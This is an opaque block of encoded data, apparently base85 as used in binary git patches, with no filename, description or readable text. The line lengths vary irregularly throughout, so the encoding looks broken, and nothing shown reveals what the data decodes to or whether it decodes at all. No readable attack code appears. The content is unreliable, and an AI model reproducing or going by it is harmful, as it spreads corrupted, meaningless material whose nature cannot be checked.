z3_M#uCu8$Z^e8JnO9al=M-9u|McJXvw(O#piBFkr+3mgX+bLd4qVD*P*_Q9c^JnWr z2F)}K(RXW>&U?mdq2=Tk_hrRD_);X!*87_az7Xl>=)>JKg2XMf`GvpVYdozuX1kaA z5|^>P^f%0RjuQ*d(P#C$+{<;bvOj%pi(J%Jqx-}|=jfvYKhexib~gK7+eA4^{l%;C z??>~@gqEozm50T58ydXIzVBgr3q)n#_zRtW;s=hU^|l6D0OC6sdN{L{UsO*wNng+! zaczsY@YNN=sE@3q8RyIKS*^5wR%7@bN!HqyP}3ew1_zQx*1BRI#Yt-fX|+-M2yER) zbBJhs)CBR@rTS6kfdSFDRCkT(&nal1%I~IIRaoaY)h#r8m%b7|+qks*va zui2>J_4PGh`exH7F8I4|^mUDRHofeErY%=eMH~FFS)+HD&gNP-;PJ8ifQTOlQQGIy zWSo*l-|D7ap{psi)OdJNsF=d5CrTfUn@dCCvb-{lx|L#*hKNf}uQx!C3_NrOi;l(A z?xGVt9v4ZBjXr!|T3Xcc`o4+m)2(dIt$o=c{Tsfxn<9H03K<|oGmh70QIzP$m=bb^ zb9U{8*|Tdeb8j+Jd&5sEaTP z;bBS zhOc>_i`UNAmz_QHVdB)3>^8O%4~}P(-_-?cC`J`0(gftEI@*~^+0{`?cc=^BkjFfi z*Q|Ua{`8H;-NT^eYgWE7q|!-yW_FW)oD4JeD6a|8!ymxQ@?i~q;RN; z?NpNO4~j=Fqz5}o>c!3r^{M$Y*V7i-=V&&7EUf*xZL3Msrgj{pL2!=Yi?;W~z2fML z^kW9~m*%q8QejZ!WMCZ+h$}DBk2EKQxc?%3Bt5_Aezsul3)*!h=LMJbDG25T^x{4R zloj1{gz3-vS?2guan7IhBZsu{CJ`<&dj9tV@78UJe-NXrUFs07^Yv^Sr8kpqOxvy! zJN~S@2IkT(s^tFbD(b%`jNN##e(%X&AI>G$&grLPgafvXFj`eSF@npnViK`78?0C3 z?@QJgVm$}e4$10Atf#?h68kTvC(v7$Z;q!gr=2v*9W-6#B_dkK?q2;}@^R0*wLhs> zpYMo&O>6#icyCXYv4``8kBBUdmhjF@-lNcc6Q}pWE%fxnN}D)m*KVdamV2k z+U_%&M@hVd4vEtJDpl%OZQ9M(q-ixPBONWpwfkyHS~?=P7L9t-vZa^~BaYfuwD~~V z*e!G#bl%c;XVlKUBVJrnvZpxfADgq*+({PcttxbQeD>1U--!JfU01vzUOAZ3ZlZOW zeYQziXV%4OONiwadX?!_-|kx>>i?qW=C#hKExsfE#>aJ;&cc=z*1{c^(q{s`Dys8z z%%~yz-lfrX5%KC@^sxg<_E4ZQgg0U{MvyPEEqbreb0@#|@Dr>q-}7Ry)Y_XbK@O6Zg#eQrgiwT03;c1sZ* zn=c;QO0OiVox3hh$$Tek4R_x~wJ#gVd@VVdMM!4%R9;k68=?C?Wta1i?H)+0eS2)n zyro}I>K}}ceBzzinQXwEti^WU!lZx%&H-&%z}Sis=M{=BZ})N)kWf? zOZ8kmZ3lI7X^*WD85R0Xw&65sDy|)nxklVwp>K3nUrjmiL5XF{zDtU0)2_H$cq{e4 z4DDD=bE4~Z7E#0(ZyOpJO^FE>J0i7dU#u2yR?;G2!Q0{>?btJ~xag16neT%C_v*~3 z7gOrY+W}c;UMKqh$2xQ4<@)f9ZCqvgt&&wHu+pe97p;_4CVo|Nm3j9nS!K>5?jftp zoU3G&2}Z?3SL#LPXP1j_uGEYBUHf`x5A{qAKbUWOzR7!)zS?5yCw2s=Q~O%{8qkNC z2M!iFLE7+qHMPZ})xU=K(JkKka|zIU%GUmsmk7S{QG?D}JDqr!)8}1|eTDkpq95O9 z!KB4ESJLNM7C&!j3?q%_xh@wy)j@Yzbez$<=EVg?n}4-CTa z!+5x86ID@~Mb<35wq)Jwt1g;ZXPxe?Tlu`VZUwzdh`ZpTQ7?KeKh;LFnliGQdKcHe zm-R5QO~rK+_2R+=_c7mGnl5)Hmed?A^P_}Txzm=HnEqldu3dbsJTw25xn%4I#Wjm5 zoc98c(v(G%jD36dn$31|iRB=LopnQ%7pOyBVJnR); zU9IQR9{!R?)@<*f_c|2RmON3j_z`lA6eHH?{cwr>9m_}UD6YGpqo{7?a60z1ykyi{BCwWj3hJtQQ5jaGd#bNA@3U0TG}AX?UauTq z!gqq-Q<0R=QSWv8$g#X|M^^Dmw5BnNm0p@@F}aJYm!`FyLCZ8$FW$;p_X24>M^})P zh87pTSeZtiD-NfR_r!8njHCxkRysAZ%3;wq87sQuXfKqpf^jwZX}glmkowr7)%;91 zQaO@5SJJU$!`I2=tEleef${c!#!brDHXrG87-LzDrb>p|1f}+xp_aAoB+@eWc2v)_ z>>B~C{+&^{zh6Mk&!6Llb79N8^S3x@u_7(=KhJzwTvORpR2S&5 zv~2##S)BF!Yc=!kD*Ex=thJX|hH?(Set91%*Tc1^h$+|TBTa+FS=Z2m zrqQ*txFx51>nby9O0u{m(|a}OGFo!wt3_kC)|A+?nohJ+h5Lpg^0%y}ca|58+C`^) zc2gX+<;S!Ve1Rk%5`Cw*E>oulDyYf7khNwdx6-1*U0G{*5v=H0H2z&#*K%j@^z+lj z_t)ryOs9*?YxQBLpZiVGv)n7S6|y(V|NhigUS79KuXGeoT5hdOE1oo_;z53FR=03B zKb@%kn%2V4qDD>UuPZ;N_a|_h9z|ciSf$Ukd~?ix%I*xh=!LA;>SMhx(u=OX=GUGC zws>nR=`i^IqOm{oCg>8&C+j)_>#13MNH6i*-E59f@WqxEs?hXIfZ}Zw3svCltEQB! z+bzDkR)3?{x$n>m$wpA7d_+kXZ&d5Yn4S|EHTrzlx%-Mny_BW}I|8)(tEl!(nl#od z{G6VO{*&{6-4=0q4XxmuD;}?*{jleX_iFTGiS)USX5Ht0(>5AuA7G??C4E=0c+$B) zSEkedj}_0*d2>#DQ7t{|*}rNrb!T(yR(@Vw`#Gh&WYi~=4IOhWKOI9KC6p*M=Op>-+hwZ3j1 zz!iq`>-P2fWk;@s6#1h%uHoSI=<@L?+;Z&uL<9aEk z*XaWSR5yv+HoU~Ly|^yVS?t(eT=+4kD|YD!E>fDC(o@hPo*xz!ZoSk(Q&4&sO+5gu zO3?#6qh`BG>L$`_uZ`|KLD^xUS?ac8%PTYM`sY!Al=S24tjE!Gk1SE`vT<-@f2Klo zY<5wDq}l%0o8#HV)#rX|br)5e=}ZEpV3l55`E}bk@pYYE>|B;@Ei%^m2k}bDtIvv= z*Xz>)qiFD)cWa%uS8??jmaO8<)Z@LF;ch#QZU(#V?u>U6#~0YUEm=wC^g}U^I23aL zGkN{PSefCMJkWlK1jt9lRZlDM1H&%%EZ_tMyMZNGhbkrsJ$i4ao zVB2YFsowycEXLN;{dE5dv8Y}@Zt#Ma>51;S{5*U}-1=PSyl9dx{#CE9%w5!Su;ZBj zbUr>96hEKdeuKNaJ2OP_jrxLtiJiRkP5VO^$QT9@wRG|_moKB3QvG>Oi7Qbvx}QKr8r z_T8+{?Ynv@4Yx^K_+J}nY~df}`GxmZ8(a82#d1xmauDB?rX9yV)@<``6(_xwK1AGm z3vI`J#g7AlDY|K7MkpJU$GB<60=hnY?j7i^&Izvg+OeuF-w@OnxOmEB?SmCc-# zENXA@j}2!pb`G-8dc#NTs@X;B9<(dqy^6uqFZPN*+bllapr0_fna+<;pK&ouh7`WA zl3rFq@1lyI-YjNs)N_WMK#w!93Yr}sZy4rP(D-9bBCt^(I_5;_-CFq4Re$Rkz{Y6R z|Cr|Ve6I$>oEv`G>%-@cT7ZTTCP4(8k?;T5Pm+xg= zznQ|IFI>{tU-Ya-&-Cg}quNQgsV~rjL+Wq5#x9D=qvP`_B)Oy+Kc1YmH%HR5Md>@~ zx>zN2J#arw#%U`&b(pgY-}lzORgyLD1q$-9Kg%7ancfB&;Hshf-ixn%lAbITq|uAt zJ|Wjj8fPG%x91loyb?c)Omz&noB}rI4PY5^me@JT|?gx938)+Go*OO6Gl#V3>ZV2{6a#i z_-lKU8M4mj)Lx1I6jauKq`1(X1(P*XSDqv;YS16-r#c2K+4AWDarCYFs6u|aQ*z9E zWQRMXx}~OXi)fl(QoDjymRpQoH$ojR^~Tmb>UpWZ97^3BcbS&$V*RZ&pUBKBs_9!d z(OyzB!&*`^M=$)AmMXsCZg^W!%>=4Fd3>MW5ur2l+(nlZZe!U_R;NBXqo`vu`=SSx zbgG`_Ak(ayFt?J-p~;+Os^{`xn%8G5WQuVI?AZr;j+!(4jWPNTz;F!#9I+`LOv z{yIjFq=M}jooD=WA$N?{`XKd?->1o@gFn(&3%}YL;q~SvyfJ&DSltjaaDe~ zkRHGKyY$P z6W`EeM2XG;%&U@0mo-6NIvNAF|K53E|c9)(rYvx~*4N?xs z*pBPQHeM4X1^Wt;_2v76b{80l6<6J*+q0XxDM(MR($h-ObeDd_q+yTz_SuEEb{%I1 zRj$BgeDZ6}Hjk=X9AB;|%P$kA5G`CZpTGlwriDPS0i9AT`Qt$QgPK9VnknUmXZm}x zNa7u!G0?9-GiONoNKm(=0nG!37t{xOG3Z**n?UadorZ`uB7kP_w}HM1`W2`Z5$+2* z(x7xpGXae8Fz5u`KS##+Gtix&4G3^8Xa(pJ&=WzYfQ|>v1x*M2-b3~&d~H4gya4nv z&}R_f{VHJ4t3mys=YY-u%?I6yqIwtfGth5AwUSIDe9cJ?{*45k06GoyM9^iR6`*TD z?*x4a^hMBC(9b~ILG80-c&=HQoPJFk55_dm6G1Nky#n+)(2byXgN8wOfVP5u0ct*8 z1~>%tIM7+g2c+OsFfIlSg5CmpA80e^E1)sZ{h)R)auReR=p4{xpsPS{3c&FIXasZ* zsCBk9m<^f-Isw!JItO$Ks2}tS&}%?%0(}59@C+O~L1Ul^P%A1^HmFfv^cO*^xd-%3 z(2GGAfmVYmf6sBPr(dI_$7l^;tOcz??OYGq40;df>mFerlsU_MPO&&}pMKoX1?Oi3 zX=bEtyHnCPzmc^3cwI#I+6LsT?~n}tEZtE2QmosynR)JiD0;R6R=e4CpkX-6^f#W6$OY*ur{N+D=2m&l(19F>t68Z|kyP$Rh@J zHhG!#_pXwCf z)hS+Yh_BycA0l=?toKO^8u(%*&)EC2kxMuB87hW6q4!SP!&n^EOfLpB@KuI>7p~|E z&M4E1c8X0;(0Q!#o#G3o%XW$(PZIU*6my8CISqSfvAw%a=w+jqkC zoopTn7Vh09Zd6giUUktJH-*rM6-7`Eo#?wn!S#wt>+M8U}3yZ2+wY4TAbX%R$RP zOF=!L1)y%we9%0D9;<0NU}S?jK{G)$&~}?lNy26mZ+xZyYHjXilZ{v;zSfoycLtsHXqMwtRO&Z&{grc=_Mnz<_OD(GMzS!f(h{*?k( zOQ=nhcE#}T_0?0W`buT@qV6T6BH@SJd4`mC2Eu%?I!rfVk^MHCwG+}ur=>+LsZ8mX zzav3>V~9!f7|M^3-<*k1_NOR&`ayY;OPNFL-7{rw#X!N~?a z1{!}SyaveYQ4?ioUEx*tAXiN(wJECj1Xmd86pztBEZhrix}^$Hn(Bv1&jy(Ul|+>V zWh%-kb=!R@C($T-XPM0wfZB~J%Al>NzpC?KImb$wFMz+G-C`6G?Oic`Du?qSFHMRb zw@sB|C*%WC+g`|sAJ;FLU=0bLl<>6E@>!ND~CdAeRlqpOZo5IrNmCR>47rnsa%)- zH7&KlDSl@u!(Xt61Qeu1P&G)EfP5)GPD{W*N(wY545TI?);$3hO=WrFVp%F0dYIH0 z_tZ(NEbpn4Rx$3WlMYuI;dXV3ff!=)n>+=-G^wU1*T*R2$(V-RUOzO&jj38VsJP6u4uY$ zvF${&HTJrk73GNf_w9P%ft4~YzC|)^sc~sck*l<*at}csDeIm$G4NF{5C*PC0LFbR zz4RjBv(2`azJ-~ZH3U~q;PzEAV*ZqfsZ4B0k#`mf_^LY!0jp|K53CZZnx1OXVVMxQ zLc~hSV^2Aya-tfBQ*+XVkWzCJY%L#-U^oAC(nS5-aQM3^$R3R&=L^W3qBnFIzZU2P zfi)j0L1*sfSty_79Sc|79xK8BHfgFXLO~fbRS8OglVe7@U3q=zyin=*|EetLxu=S; zdo{&a7!#VuSpyPb%KVXlCSKQ?Uq=@uRJPVXM3?%CBGCj@`}W6(9kZ4ouJBIONzbLonpo& zvX`2Fp`FryIj9@7{bk8l_6k}hR`H9zEFL|Sy$1O6f#!oIc67Jb_*;7;pQiYQq2~v6 zgC@31|6x!+sES|qJKf{w-7aoAlsz5(T3V!jHK-R<*{lAoJ@Ye%h@TFBEib_ys25b( zYyYji6>Lv~Uid}n-v{ahjl3ZFeo$qv{9Vac<>7fje9ZP-(9=L;+oWCuGz1z1RrXp_ z?3Hd4^Pf$!=Z3x$G_h6Mje>?j)ez);uY3Hew~8%n&j-B%P$y`73*rgd0IK5GoMO+v zMND|kHYT9#d7-a&H76Lc2pJTw z?Y9jzH%El|c}iX?K%V5T%;*g8zFa zvwv$c@zkMX`G>|TSruEJ5+k=zRcwUGYS3~}FK9lf4ys1^?3j#-D&|-&+ewhvsK0KKhorg@PxNMIRSjroWwPvX=l*8fZLQ&a1b{N7r)Q7U+t%93z4igQ{hZpv@ypHjsQ8o5v6Qqb7F605kC zeI~Jrn-f8##;p|oQsWlB$M8?Xvvg?we-J~)t>7PG!ggvA%5Ugy8I}g>`@6)Ekfbh9 z6}SA)C11sj?A^`w5_iELXg#P8)D5bEDtiqn_FC^0eRm|;YrIq1tpfFeW`oA>kaA^@ zJ{@G#0~J5AcQx4ysQ5KQzZ$d*G#|A6_U`toeq&F{Q_G?S{u)5bK?@}9r|Dp{{!JRV zxZ}nV1I^*TiTN*6a;w1gfa;*p+oW~_s1H;n*V`uLD!B!>i7mOw=y^qOWK*g^d`uU*on_vgD98_)?pylb`*pvFH+2?}4=#5ey1a(W=Pm9${K|N?X z*S!c~wy~ly~g2q6bneuA#&=L<=sj2fBf9|?Ur~4a0v33f&Gy01dajUirH-a+tUASz@@E>X({t>U_=at zrri$gen)z^12_bHC$JMabQf?Cco!nz#O%J;5UKYn03Ad90GnDSlcW8^E6cRf8R&sDI=skGa$)4)}pr(%CkCqhfF}e!r0juKN}2lyL=M#dJD%uSkX5+evE>ie+NIABd>VCw{=OG| zLi$mn{vBI(r%q(Q)J@SzBkShe@Y1<(?l+;*Ix{0w;#iuu`(!|3Q-B z9(1C~I-x_`aetU(rw5&S(&>yK>4?WZw4Hm5>wt_{J?fB(Air&lf8n2{JP5tgU+^f> z7qew|`i}ik-;reBk)OI}&hLip`Y0)E&mZ+oBW+jA|8TmgkN)5J9{aIvo+I{)OseZw zlUVbyZDBXYC&U;RJt#Gzzjn`*R#_fe@N>zJeWrE>1V6E5cY5=|JG8Z)y~UEfIseDr zJbRNuEBzlwGDP0&3A5ZR>C?oPy|yv*xy!RZp>0o}CW#{5M8Zchhw_%_Fo~^uZKL5& zM3RNR6rt-gvRZ06RDdFwEK3P7Mly%;ml`6?VY-B=A%;lU8KTG3Es60Yk>8vw5={88VowxqDb);}0_Fxj{JkNS=!`wsolnA7Ag zdxFZfaQgo==Hj|9Y$s;Ms?Z8;<{)pqJ?chxrl4UzqiM`O+ho&xXR)*wo+7Dps-z)M z_cVzk(2D>&r$Y}kSR%2!4Kp4U)k6oMc_DANA1VQK2UH4$M2Z4ebKWrHhhcgZ zi}7;-hk(oZ*aqB8)HWDr4-s-f*T^y62coi61sKVcF;#P1?{5NZn*6ox6^l9I6!!0I z(r4 ziI!o}v+PZ^KiYbktsXi;U~Jr9v}};fxYSb(I&!=Wa@y%ex9C3<9+K0~`}#t}H+J}&6BP8%wvCI+he*?E&tM(p5Sv#)ckXe- z7H~eE!MVfjfqy>uSGy}!)cnksdkz!d>$_aCT+OWlz^MWi;Zo*zZQ)($f?n!&(`@k7sREWKXP7fZuI#&V z*uJqP-`Mo24HdT?v|YA1^;CcnP5M(A(#rk_tE#3pnW_xw>3B=R2+ug>V4Nvv$*~JZ z6TJg2_@ubM!#3-8PY(Uw;g-&tk#sPGBd!W@e_HWUyRB1GmM;~wFbu?= zkYg9`W#*q-k{%ECM2E>7<97=1F9__FPzxD$#T$EVeFL{6j0D1fN@wo>UM8e&Z&sxp z%aw6ZI~W@g2NwdUm*F-AO!g6`spT$|F)Fo+g(~B+6gf9Qt{*|>%R0r4%;I&~jj_B} zx1GesHbX9z=nk2YDw2ur-pyW@xWHn+W@==FjE-ufs^nCaY=&I*8OmOi`7%20)2KT# zAn#n6S`Qzpmrw~*7K4y$ySm5FGqTfS;(*O&8X-1W?bED2Qp0R1EwdheVqoTpSclCy zHOgKooYJIYQ5>uavITM#C6$QMQJq2h&ZHnmHtk5W-)XWs(=Aow4HHBQ2Ztj7QWtI=rY|=4{UB>&XlH z`n;wCy8TqsR9AlY(Cb;3ekydef!v?expEzJv%ju!W&zCbSkUdK%p=RyQ9flpaTtP6 zDiSsy>N0O^D~>_08pf6XDEJ_SyMaGQU;X6Xr4%cB#n=Fs526uin&)u0kx<|3z3Grza#f@=GT1!n&TO`9V2>&=#M&?@h1eOvAB z9tTS`*fnIy8JwyaMw02z1xMybG8*cXYc2Tspc>?{lrGvY`8h^4WL*~&-SC)*$u2(- zi^&iY!9!0;|FtktGjbvU#z=a4zWw_$`ZT7RLrX~|Qo%J^kW2%L!($GGkKxE-^ zX_!BjiCVl9`r7J4Cn^GY@;sNr}*lA-Jb0PS6e5Q2TSE_uw7seG1$lG zU^~I)WT;xk?s~}89svJmGOq+DWU2L4`AVIBh4A}~2R`~PI0^kE| z7SfZe0%|ot4U?+JQ9V-or_x|*38;!4S8@cX=KHFI_CT(t)7&t)Rv^jKG&Muho|IDq z6#*A1@h=Jk!ITua;+&$_j8ncZ)7Ts#J!3eumXapB@~mOFa(ZmvDw&N4r5>Tku)8W+ z1LP_jR5De`RYR`YxAO0jj(}E`Vn8XVd@NTHzX0WOSCutpgxA@6E$w@I zsH~|8_`On$?>%&7R;3t&JasVf?=$>$_0k2%WmS4Dh~eU96++5PUuALUN&xOo)f7uL z7nLO{1}aNjUvd$2-R*^X$`aLlRJ}-HV~Qr!QlJ=ao=luk{pZ7QZJC8;r0Sr_?FSM8;{7IRNImukN@$F=Hrlzt}MrkK$H6s?%!kN$>`lC7C?jFThvFznP^Ww-CuW3 z1ot*w_nQ4l)8d?Oj2LJ*(%5Ol3RiXya+TBlQ{<{Iaxq_4((oI0eWV6G6@bdQ_Jj=I zzev3M1`Wb-U=5AtesT1hG^~QFMy7v@kKV8k>eT|ao5xQoCEw* zWw{LDrLMHPzVFH*b60qs1949!QVM(ir0G#|c*T$hQ{<}EO@TZ$JuWt)Y16ccP*BxM zB`9AiX!(bbb7I3rf;#6Lfo$l(Tjvy51HZF?prEQmoZ2IYS)Y;sC67X`8iT3=p&z6_ zRC0M-J(5OQ`*q6b*i+VqRmdr?xKKqIf;@znsg+Nawe^sv7PWi75wori%^dt%e9>xO zV%0XtnV4~=+!nw+l*)OPb1MAoA7u(thawezCggr}6KW`ODMLNnW0k_+5Y@lAz)(fr zzF*kiwV!BpH^}IYK0RfYtyU&g8TIs117EvLfhsdMaAykJo8EobzQkmW-Yr8qiXYz$ zu!kOycMkps#dUk^xjFg)X(vW%s($h)P)&TJ8?ds5>=4?2LarfK(vTY}u5rj+|B$xW z9>*ufVRYS+jewfUOXWT3hUtp;sRwI;UMYgRSFC=Yda!22{s($6|IgjCqLi?Va2Tqc z4TNIEiBlnmAa|xjIKdWWgpDOKL(e!rHnkpJd`Vu|oJvGB($CV6V`lWa*- z%Tx4K#ZmUkAXhb612y^i$KE54pI*VH7tl5oX2+um|@el9?x*AK9H#s}9Nx zQ#Ml<*L*2*6{gnFnFb@wgH2a_WS?fXMrnyod);Ri+TXi;F# zRCt&wZaZKfABesxv2%u`t|;&{Nj;$dXLBScGd5i&CFYTNlqaYK<}ZyFA*D!pDQH;X zVku9QNE)0aX$UlkI`CiWf?S!1pmKy}O9SFzAZsPAh1Oy<4O7d~>ONPc zyuc+>p4!`~kqA)IycH4a&kDg*4N8y$Pv*r%4;7Dl}1l& zc(z7wR8mj+f0Kq;$~7m+ujeM^*OlRL=7b4y%sqJXp6h0bqfn!=Cl33k8CV9H<4GmM zaTd=lX+|@%@(v|KW1~(Au5Kx@_@E`qbw|C`zd;%^DtwRthwa`dnR&uzBLn|cCr32w zu{(1jV`SzhHw&)A&4;Nv92q0}+8w7_{Q@C!*7eGa-6q2ff<11kCtsRU^@t*5{8Tv? zK(1~FR5?eO-_^n_?tF)l9lu#+NFDme!Jv<#z{Zq8_u<_Pn)C9T?sqt@H(A{@+vfbu zvxfdA6En{2ep}qs%Wkg3)legltLUlx(2kVR!tIJC-}c5g z%V}ZuB73t2_|_=R?2~_76Y9ygQ7O&UW5pL))SZ>m1AOKfbuWCURQKN{^DjpPvmO1! zznzY$R^Q!8Rc3(I511ooS!!bsw@D5#HMweIkCLn8c#i7IO@3-TzG+h*$3c^ovqeSA z=K6<>R=xPU*)b@`xm!MOGg3u=r@--F{FoEF#nt^C$62|)8nq_Vcds<+ybrZUrgiK9 z$1rOtnsZ)e{XeCayAfKMvk}^V(Gkvp)MEdOLgoqo10%8DGcxagU?e=~zsJPbJ=WyP zc2rqf!9v-(xOY-L6t~Jq z5B$&+sn2VWeDRO<6H_JMMsB|N$NX&AN!9mC{!EP@H>gJr?7@csxK~m=6Z7j40Iyc^ z#XshkPHVbrmw3QzX&j$@-%+V1yUbt4gt*%#$YJKfQJCP7fKKG z89n0{0?q+;o+{UlvKf=Jv=sq2ckx+=9E)}YP3l>RyIdB>96~I-% zzX0C?tnRl%i<)jb#<9Smmt1!4#T6x0r!{>x%`xA+==gIh7M#EI!kL#;UR-h9L`@?+ z>->w(oqh50OIG~(?27X*xp>Cq-m@=WcG0=yhisqHqnxEQgFL^t(c}6r5HpG#UkwTQ zWW2+m5zwfwY0eCqa*4z&M^1o!EF^(c+NX!QXt42Ej<&A_VJM}QqNK3WT~>T;sM zy&!J|?hPCR<}aP`FAglb5lVjo4Aqac1FL>StCl&U`Vk#i9X@vg50Lh?Y+(KlDgRu+ zYOOOL*ywgR|J`7yey0Ff^*bJ5)$e$LhZ*Ln!v$9TP#N%W$bG;r;BsK@hm7*~gQ5DN zD&SG@5CqNxt_B_rTn{`3xB>Vu;1KZPz>UDv=8f>RFc@Q@&A42c8bB)yO*F0oH+wfStfIfwO^&fnC6}fb)Tmm+7ZE z0LE-66adcw_5iC{n-^HUGqe==Bt~k zHlZV^2Q~wTfGxmbU@LG`jtK!R4U7mB(v<>m25=0R?sSb`0@wyzwoDe016aFG;!I#C za4%q&fhqrcgW-lk7O)4{30w-?2Uv}AeSy^|*ALhS{r;fJE>;@hQ>;WDHTnd~A z>;oPR><1nL9IVACd>9z@P&gbo1bhT=7vr08a;Q1oi+o0~Z0e0M7(& z1uh0o0G9x3buxjofCEl2jt9d9JR8^zJO|hVd;)MO@LXUY@QJ{F;FExZz@-ugw0bb+ zLm>owDsUM1G~fvEBH$?Sxxg{t3xN~B7XfS6%N$s3U}}F(Fie<|xPYy|Y8IOT?1tP1 z>;bj|mjY)3`+%Lme&BwLx%~&h=nsW@;DNv);32?a;923!to2d)Cn1g-`ig0I494PX>PAq;#Wa0J+d zd%q~K6*vZ*0h|D~0c-U##dcsPaHi8pKlONE41t0hxDeO_Y{I0k6xa&v1I_^U1KWUu z!0M%R^}v|{D1^Wm0vrY|1a1K~VHVj6Yy*x1+kxAGGlBIRWeyAh&IS$?g5d_kgjuEs z*aln*YzOuM4*~WA7XnuUn_OJOG_3*H<}#qxC~-iugVC%E0JkUudD26xG5{P0wga~- z|G@f9GR3BR=|3CT2ApqTDt|i|1A|Z!0G9#VfyeIG=EU$9sFRR47miUWvU5 z&y~1L;Zljqfvs0bTm?J?xEff^6=z5_O-;`!BW3%mhvHwLpl(6|wGia3V1$9+1&#ne z0vrVn0mp!E08RkEs^i|~Ze8`UnE|55&T?>X=ScoT3w@C(2Nz>foaf!_u$1C9ch6E@2K1Tdfj1}=yEYULj(?gQ+H{&Y3|SHVLK6smzw0oLJR0&oN5>cL0| z0gQ&c5%TktKID18&5$ow<9`bn*Fzx+4`YE_A^$UQ9C!_|4-uRS+z$CQz@?BE0_(TQ zB3*0bKQYyUqZfW( zQ4NKWz*R7?Ov!bLZKP>e&811S-`Epe#T<;D#uU}TIEPIHOzHnJDS`Tjs^Cn z{vkcn)KnjI^f!yUgO0z50c#x3nso76&@o)Zf)1zg*VK2d<1(w&*WRmhpO1)CJKoQ* znl$SSGTvC@$QjgfYKCT_pqkgEYtLPqu071*YiSeHwQf947xfWtx^8E?ys2Ut zO}UeKcB^J5UfKdZi7%$rItB)!R5!DzzP-5<_A7L)8;{IiIb74`yXf7XY~P53-krxg zPbz2*xxl8mscJn!SKj@k%i$6~EroB&GHY4$%|6p0^I6)U`F8gRda9GQAf1e4XimzL zNp$(x00)-BGtmQ+eiL=A--LAE2#TEZ2u*v52Htw5zrdcv6C>9aBmj3|hj7rx=y?K;2bisH{pLnE}EE}Akp$#;R z(QJu~SX#v5H&Y-Smdhl=a?=nyw~QX`KOnxUa}2R3;l9^9CQk@bcUwl2gR!E9YX?L7-?A0tD8TQ)1o=A=C&Z?5u`rl@C&FlysXk})w=O0Um_&` znJz!a#i%@)-FT)PUCUX}Tg#c)OANZf(JSDiuJ<&i`M5HYlJhB3oAmMUmri!)Q2ci^f<6j1=VV*rNqyG zK-_y(4!_7j|eSdW4s28m#s4IgKh^U!`g9)AjvB;>3E#KzkCtI0au%cw~fn`;X`v z_b|oFsHqu7Kh(t+FV;Io2Er?;M$#0eiuLI6M1RVltZkXp_c)BSB+HG`J%?%=N>^L0 zX~lFs&>05xSJcdt`P5%j^_ih6|wgEiO0Y|Zs;zeJx{RMW)|TN_{sOay~+*A|Iszh;7gl^Ip^{^koB*_+rV;j)B~jU3N27 zl-RSHcExj=_6zHCpSxG5{@AAJ3;JluGSlF6ZSYN*342ucXZX^Mu)>ss@6$E$QSxiF zCRtIE`9?-jN%Wg9$B6o^)UfE1U9fp6^-(sh8`J13Qh3}~e?N{wqS56AO}mz^W)74R z+zmTv)FwT>o1VDt7Dw(#=c}6bQNbOKG^7(bsX!2jZmn{bZFXZbTvQ0xk_z)?-A56D90;~q+#}$B)M25 z9Jx!9^<^025k`jQF;TdOWoQE?4%Y^lhG<5GDU~Bx1mStoP1-uTGSys)8gLg+ye%9@ z1UP;Lq(6ANZQ=M+4mX{ovi*a61Kk5)&qrzGS`c)Yv@huTa=<;zq50v%5eyj|E+Y5YnE|h_v>_JGv?}V#3h||0$l>5?djb-oBEkMCwQJ* zlXgB`Wo(3XC#Gx3JlV}s7fZ&oCpe6rF--a&)0Ld--FUo`;~Q<#{z+GI@pa=-iV`Hx z7}H&+8;?5)3Rt5^m6BdPUE`jjh|<0z{ZM@FVOckjtc+A88!);ssuMKLHBuBj!lZ4c z%g@HyNCgc($vos@GB0I7@|iqT-^m{jQUQ!oKBL^mnY1>#b|x7QC-YPhCGq57Wb5o> zqeq&wKI6Mbup19Hz&i^mp)4j(6OQU$*^_xj3!xcAF2y>RhSuEqa>f%SKfT>1?V_Yc z(!~=)Zg=FK8adjey-io~i(Pf68&Bh#4(fSORMF#1n)WA?7Gs-z(rK!uYndeDI@cu= z8*g`voDnN9X~QQ`aX(GE{b{zd%|Q*$-g&2$EH^T10^L?b&F;aubocY9aff%{cA9#G zr)a3FTPNz3w@w5xU`1(3`$s$9BOPdeM_N^UdV zcodP)Y?IbRSM@Vwi!i(2rpwRRNML$*UVrN;T7SyvG|K5@&&GUjg55WGxLNCEI>xvw z2~q*65h`?oN&A(q7G;=5s4kvZb*JOR8NpJMw)$l1J)V`3VfQ||iWwVKvX>$6#+#U_ zb@>y$?{W+ZoMO@n7MQg4${VRfl6WTCAvKGp=2DtIQd(#b(47AIDxFX~z9C40G`wLxXKF{{3&)n9F^2n}vI{D)5kYjkD6C!Ed zROn8IR}NOlDEgL~vU=Le~}y(z?s&E`jt0FEeS)tjiNr($z_?8=q=J zAdL(pdmcPGT^sniEtV0bTVuKv<>>*<0%R4ONZ;;VZqmk_N9`se^NHPK>B?cu)r)4% zzv2DHAJ-SMbsmk1W6G0^k$Ws%<;liUdD3I2KO=`8HTy^OPuKb{%h0l@*VL%Dh>$|vgj_84BE+HT8cs8`G+Itg7B3l z?W?P(P^gFI${eO;?ElcUhb{7Q5Y>iWd+8qaO?x+)iSuwmMkLMOwHy?o4#=|Fq&c^! z0;Z0jlP6yJhhy4=(i&&`8jQ$+m|Y2Q4y;qs4~9 z_|F#+hUe+SsH^$WTP>=JILx0 zVTV{c5ze@e`-rf!5e%}n5e%}nk!9RlHW&mWf^psd=UerunbYO>fBw(^^}L>WrShro zx87B!&N+4J)Twh$pIX!pM}wcyXO;Q77f;A~MVF(kAVi;%^^`F}*zw8P4x1fi$-$Sy z?^HBK?SzDBNGQz7=zVraXl}B1B|6Qkxe;~C4yqiVED!@0wFbVojxG7{kgd;`RJyxtz_<`yD=zG?#%6(;>jJ9e`rHNjeZGN;-b&RsVecR; z(XBy-Z-cNkFf#J{@tF9a96y?i&Y)|S3+n}7R?t)mYjR6KJ%Es5bCdXU2j>fZ!m8n==P`E0Y(&lpX9|6 zBU7#i-Vsps2&FQ;DV4){IER&8a~D2acQgLu^)ng~2A{C|eax8S)B8E7B6kPWl?eUA z8_bA|Xb-3ggp^$=i_yUX(!;0LNFII*#2UiiqPyEO#aN*h)dC&jHoQ^rx5zDiV%MV zq03i}r04ihPENig_hb2e0d*^a{|Z0Hr#Bg{kp3D_ry$IHmix6b*QYn}oV-K;*QSF{ zG1s%1N6;T3#BCm&Bdjkk{;c;|duV#O`g=f4LGTys_jxtZ^&Jp9G^7%XHgbHWfz-0x@npG@cRQbK~;m^XLMyqjh-{e`|zI7E|Z!!VxWZJ 